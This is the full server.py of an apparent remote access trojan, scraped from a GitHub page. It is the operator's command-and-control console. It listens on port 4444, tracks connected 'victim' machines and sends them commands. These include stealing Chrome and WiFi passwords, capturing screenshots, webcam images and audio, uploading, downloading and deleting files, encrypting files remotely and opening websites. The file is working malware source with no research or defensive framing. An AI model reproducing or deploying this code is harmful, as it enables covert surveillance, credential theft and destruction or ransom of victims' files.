-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
532 lines (457 loc) · 17.5 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
import socket
import threading
import time
import os
from queue import Queue
import tqdm
from datetime import datetime
import subprocess
import base64
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_addresses = []
addr_hosts = []
COMMANDS = {'Commands':['Description'],
'help':['Shows this help'],
'list':['Lists connected clients'],
'select':['Selects a client by its index. Takes index as a parameter'],
'quit':['Stops current connection with a client. To be used when client is selected'],
'record <filename.wav> <time(sec)>':['Records sound of client till amount of time which you specified'],
'screenshot <filename in which we want save>':['Takes a screenshot of client\'s screens'],
'webcam <filename.png>':['Take the victim\'s webcam'],
'upload <file which you want to_upload>':['To upload a file to client.'],
'download <file which you want to download>':['To download a file from client.'],
'savedpass <savedpass.txt>':['To extract google chrome saved passwords and save it as the client\'s computer username'],
'wifipass <filename.txt>':['To extract WiFi\'s saved passwords and save it as the client\'s computer username'],
'delete <file which you want to delete>':['To delete a file from the client\'s computer'],
'browse <website_url e.g. youtube.com>':['Opens the client\'s ms edge and browse the website'],
'encrypt <filename>':['Encrypt the filename you want to encrypt and send you the salt file of the encrypted file'],
'decrypt <filename>':['Decrypt the filename you want to decrypt but first you need to upload the file\'s salt'],
'shutdown':['Shuts server down'],
}
def print_name():
name = '''
\033[91m
\033[92m # # # # # # #### ##### # #### # #
\033[93m # # ## # ## # # # # # # # # ## #
\033[94m # # # # # # # # # # # # # # # # # #
\033[94m ####### # # # # # # # # ##### # # # # # #
\033[95m # # # ## # ## # # # # # # # # ##
\033[96m # # # # # # #### # # # #### # #
'''
print(name)
def socket_create():
try:
global host
global port
global s
host = '172.26.48.1'
port = 4444
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
def socket_bind():
try:
global host
global port
global s
print('Binding socket to port: ' + str(port))
#print_name()
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error: ' + str(msg))
time.sleep(5)
socket_bind()
def accept_connections():
for c in all_connections:
c.close()
del all_connections[:]
del all_addresses[:]
del addr_hosts[:]
while True:
try:
conn, address = s.accept()
conn.setblocking(1)
client_hostname = conn.recv(1024).decode('utf-8')
all_connections.append(conn)
all_addresses.append(address)
addr_hosts.append(client_hostname,)
print('\nConnection has been established: ' + address[0])
except:
print('Error accepting connections')
# def print_help():
# for cmd, v in COMMANDS.items():
# print("{0}:{1}".format(cmd, v[0]))
# return
def print_help():
# ANSI escape sequence for green color
green_color = '\033[92m'
# ANSI escape sequence to reset text color to default
reset_color = '\033[0m'
for cmd, v in COMMANDS.items():
print("{0}:{1}{2}{3}".format(cmd, green_color, v[0], reset_color))
return
def start_turtle():
while True:
cmd = input('turtle> ')
if cmd == 'list':
list_connections()
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)
elif 'help' in cmd:
print_help()
else:
print('Command not recognized')
def list_connections():
results = ''
for i, conn in enumerate(all_connections):
try:
conn.send(str.encode(' '))
conn.recv(20480)
except:
del all_connections[i]
del all_addresses[i]
del addr_hosts[i]
continue
results += str(i) + ' ' + str(all_addresses[i][0]) + ' ' + str(all_addresses[i][1]) + ' '+ str(addr_hosts[i]) + '\n'
print('------Clients-------' + '\n' + results)
def get_target(cmd):
try:
target = cmd.replace('select ', '')
target = int(target)
conn = all_connections[target]
print('You are now connected to ' + str(all_addresses[target][0]))
print(str(all_addresses[target][0]) + '> ', end='')
return conn
except:
print('Not a valid selection')
return None
def send_target_commands(conn):
while True:
try:
cmd = input()
if len(str.encode(cmd)) > 0:
if cmd.startswith("download"):
conn.send(str.encode(cmd))
download_file(conn, cmd.split()[1])
elif cmd.startswith("help"):
print_help()
elif cmd.startswith("upload"):
conn.send(str.encode(cmd))
upload_file(conn, cmd.split()[1])
elif cmd.startswith("encrypt"):
conn.send(str.encode(cmd))
password = input("Enter password for encryption: ")
conn.send(str.encode(password))
encrypt_file(conn, cmd.split()[1])
elif cmd.startswith("decrypt"):
conn.send(str.encode(cmd))
password = input("Enter password for encryption: ")
conn.send(str.encode(password))
decrypt_file(conn, cmd.split()[1])
elif cmd.startswith('delete'):
conn.send(str.encode(cmd))
delete(conn, cmd.split()[1])
elif cmd.startswith("browse"):
conn.send(str.encode(cmd))
browse(conn, cmd.split()[1])
elif cmd.startswith("screenshot"):
conn.send(str.encode(cmd))
screenshot(conn, cmd.split()[1])
elif cmd.startswith("record"):
conn.send(str.encode(cmd))
recording(conn, cmd.split()[1])
elif cmd.startswith("savedpass"):
conn.send(str.encode(cmd))
savedpass(conn,cmd.split()[1])
elif cmd.startswith("wifipass"):
conn.send(str.encode(cmd))
wifipass(conn,cmd.split()[1])
elif cmd.startswith("webcam"):
conn.send(str.encode(cmd))
webcam(conn,cmd.split()[1])
else:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
if cmd == 'quit':
break
except:
print('Connection was lost')
break
"""
FUNCTION TO DOWNLOAD A FILE FROM THE CLIENTS COMPUTER
"""
def download_file(conn, filename):
try:
conn.send(str.encode(filename))
response = conn.recv(1024).decode()
if response == 'FileNotFound':
print('File not found on the remote server')
else:
filesize = conn.recv(1024).decode()
filesize = int(filesize)
progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
print("[~] Downloading [ {} ]...".format(filename))
with open(filename, 'wb') as file:
while True:
data = conn.recv(1024)
if data == b'Done':
print(' File downloaded successfully')
break
file.write(data)
progress.update(len(data))
except Exception as e:
print('Error occurred while downloading the file:', str(e))
"""
FUNCTION TO ENCRYPT A FILE ON THE CLIENTS COMPUTER
"""
def encrypt_file(conn, filename):
try:
conn.send(str.encode(filename))
response = conn.recv(1024).decode()
if response == 'FileNotFound':
print('File to encrypt not found on the client machine')
else:
print("[!] Encrypting [ {} ].....".format(filename))
except Exception as e:
print('Error occurred while encrypting the file:', str(e))
try:
print("Receiving salt file.....")
conn.send(str.encode(f'{filename}.salt'))
response = conn.recv(1024).decode()
if response == 'FileNotFound':
print('File not found on the remote server')
else:
with open(f'{filename}.salt', 'wb') as file:
while True:
data = conn.recv(1024)
if data == b'Done':
print(f'{filename}.salt' + ' Received successfully')
break
file.write(data)
except Exception as e:
print('Error occurred while downloading the file:', str(e))
"""
FUNCTION TO DECRYPT AN ENCRYPTED FILE ON THE CLIENTS COMPUTER
"""
def decrypt_file(conn, filename):
# try:
# if os.path.exists(f'{filename}.salt'):
# #conn.send(b'Exists')
# response = conn.recv(1024).decode()
# if response == 'File Not Found':
# print('File already exists on the remote server')
# else:
# with open(f'{filename}.salt', 'rb') as file:
# while True:
# data = file.read(1024)
# if not data:
# break
# conn.sendall(data)
# time.sleep(0.5)
# conn.send(b'Done')
# print(f'{filename}.salt'+' uploaded successfully')
# else:
# conn.send(b'NotFound')
# print('File not found on the local machine')
# except Exception as e:
# print('Error occurred while uploading the file:', str(e))
#
try:
conn.send(str.encode(filename))
response = conn.recv(1024).decode()
if response == 'FileNotFound':
print('File to decrypt not found on the client machine')
else:
print("[!] Decrypting [ {} ].....".format(filename))
except Exception as e:
print('Error occurred while decrypting the file:', str(e))
"""
FUNCTION TO UPLOAD A FILE TO FROM THE SERVER TO THE CLIENTS COMPUTER
"""
def upload_file(conn, filename):
try:
if os.path.exists(filename):
conn.send(b'Exists')
filesize = os.path.getsize(filename)
response = conn.recv(1024).decode()
if response == 'File Not Found':
print('File already exists on the remote server')
else:
progress = tqdm.tqdm(range(filesize), f"Sending {filename}",unit="B", unit_scale=True, unit_divisor=1024)
print("[~] Uploading [ {} ]...".format(filename))
with open(filename, 'rb') as file:
while True:
data = file.read(1024)
if not data:
break
conn.sendall(data)
progress.update(len(data))
time.sleep(0.5)
conn.send(b'Done')
print(' File uploaded successfully')
else:
conn.send(b'NotFound')
print('File not found on the local machine')
except Exception as e:
print('Error occurred while uploading the file:', str(e))
"""
FUNCTION TO DELETE ANYTHING ON THE CLIENTS COMPUTER
"""
def delete(conn, filename):
try:
conn.send(str.encode(filename))
response = conn.recv(1024).decode()
if response == "FileNotFound":
print('File to delete doesnt exist on the client machine')
else:
print("[!] Deleting [ {} ]......".format(filename))
except Exception as e:
print('Error occurred while deleting the file', str(e))
"""
FUNCTION TO TAKE SCREENSHOT OF THE CLIENTS COMPUTER
"""
def screenshot(conn, filename):
try:
conn.send(str.encode(filename))
response = conn.recv(1024).decode()
if response == 'FileNotFound':
print('File not found on the remote server')
else:
with open(filename, 'wb') as file:
while True:
data = conn.recv(1024)
if data == b'Done':
print('Screenshot Done Successfully')
break
file.write(data)
except Exception as e:
print('Error occurred while downloading the file:', str(e))
"""
FUNCTION TO RECORD THE CLIENTS AUDIO BY ANY NUMBER OF SECONDS YOU WANT
"""
def recording(conn, filename):
try:
print("Recording.....")
conn.send(str.encode(filename))
response = conn.recv(1024).decode()
if response == 'FileNotFound':
print('File not found on the remote server')
else:
with open(filename, 'wb') as file:
while True:
data = conn.recv(1024)
if data == b'Done':
print('Recording Done Successfully')
break
file.write(data)
except Exception as e:
print('Error occurred while downloading the file:', str(e))
"""
FUNCTION TO CAPTURE THE WEBCAM OF THE CLIENTS
"""
def webcam(conn, filename):
try:
print("Taking webcams image please wait.....")
conn.send(str.encode(f'{filename}.jpg'))
response = conn.recv(1024).decode()
if response == 'FileNotFound':
print('File not found on the remote server')
else:
with open(f'{filename}.jpg', 'wb') as file:
while True:
data = conn.recv(1024)
if data == b'Done':
print('Webcam Done Successfully')
break
file.write(data)
except Exception as e:
print('Error occurred while downloading the file:', str(e))
"""
FUNCTION TO EXTRACT THE CLIENTS GOOGLE PASSWORDS AND SAVING IT AS THE CLIENTS COMPUTER USERNAME.txt
"""
def savedpass(conn,filename):
try:
print("Saving google passwords.....")
conn.send(str.encode(filename))
response = conn.recv(1024).decode()
if response == 'FileNotFound':
print('File not found on the remote server')
else:
username = conn.recv(1024).decode()
with open(filename, 'wb') as file:
while True:
data = conn.recv(1024)
if data == b'Done':
print('Passwords Extracted Successfully')
break
file.write(data)
with open(filename, 'rb') as file:
file_data = file.read()
with open(f'{username}.txt','wb') as f:
f.write(file_data)
except Exception as e:
print('Error occurred while downloading the file:', str(e))
"""
EXTRACT THE WIFI PASSWORDS FROM THE CLIENT'S COMPUTER
"""
def wifipass(conn,filename):
try:
print("Saving wifi passwords.....")
conn.send(str.encode(filename))
response = conn.recv(1024).decode()
if response == 'FileNotFound':
print('File not found on the remote server')
else:
username = conn.recv(1024).decode()
with open(filename, 'wb') as file:
while True:
data = conn.recv(1024)
if data == b'Done':
print('Passwords Extracted Successfully')
break
file.write(data)
with open(filename, 'rb') as file:
file_data = file.read()
with open(f'{username}-wifi.txt','wb') as f:
f.write(file_data)
except Exception as e:
print('Error occurred while downloading the file:', str(e))
"""
BROWSING THE CLIENTS INTERNET FUNCTION
"""
def browse(conn,cmd):
url = "".join(cmd.split("browse")).strip()
if not url.strip(): print("Usage: browse <Websute_URL>\n")
else:
if not url.startswith(("http://","https://")): url = "http://"+url
print("[~] Opening [ {} ]...".format(url))
conn.send("browse {}".format(url).encode("UTF-8"))
print("[*] Done \n")
def create_workers():
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work)
t.daemon = True
t.start()
def work():
while True:
x = queue.get()
if x == 1:
socket_create()
socket_bind()
accept_connections()
if x == 2:
start_turtle()
queue.task_done()
def create_jobs():
for x in JOB_NUMBER:
queue.put(x)
queue.join()
create_workers()
create_jobs()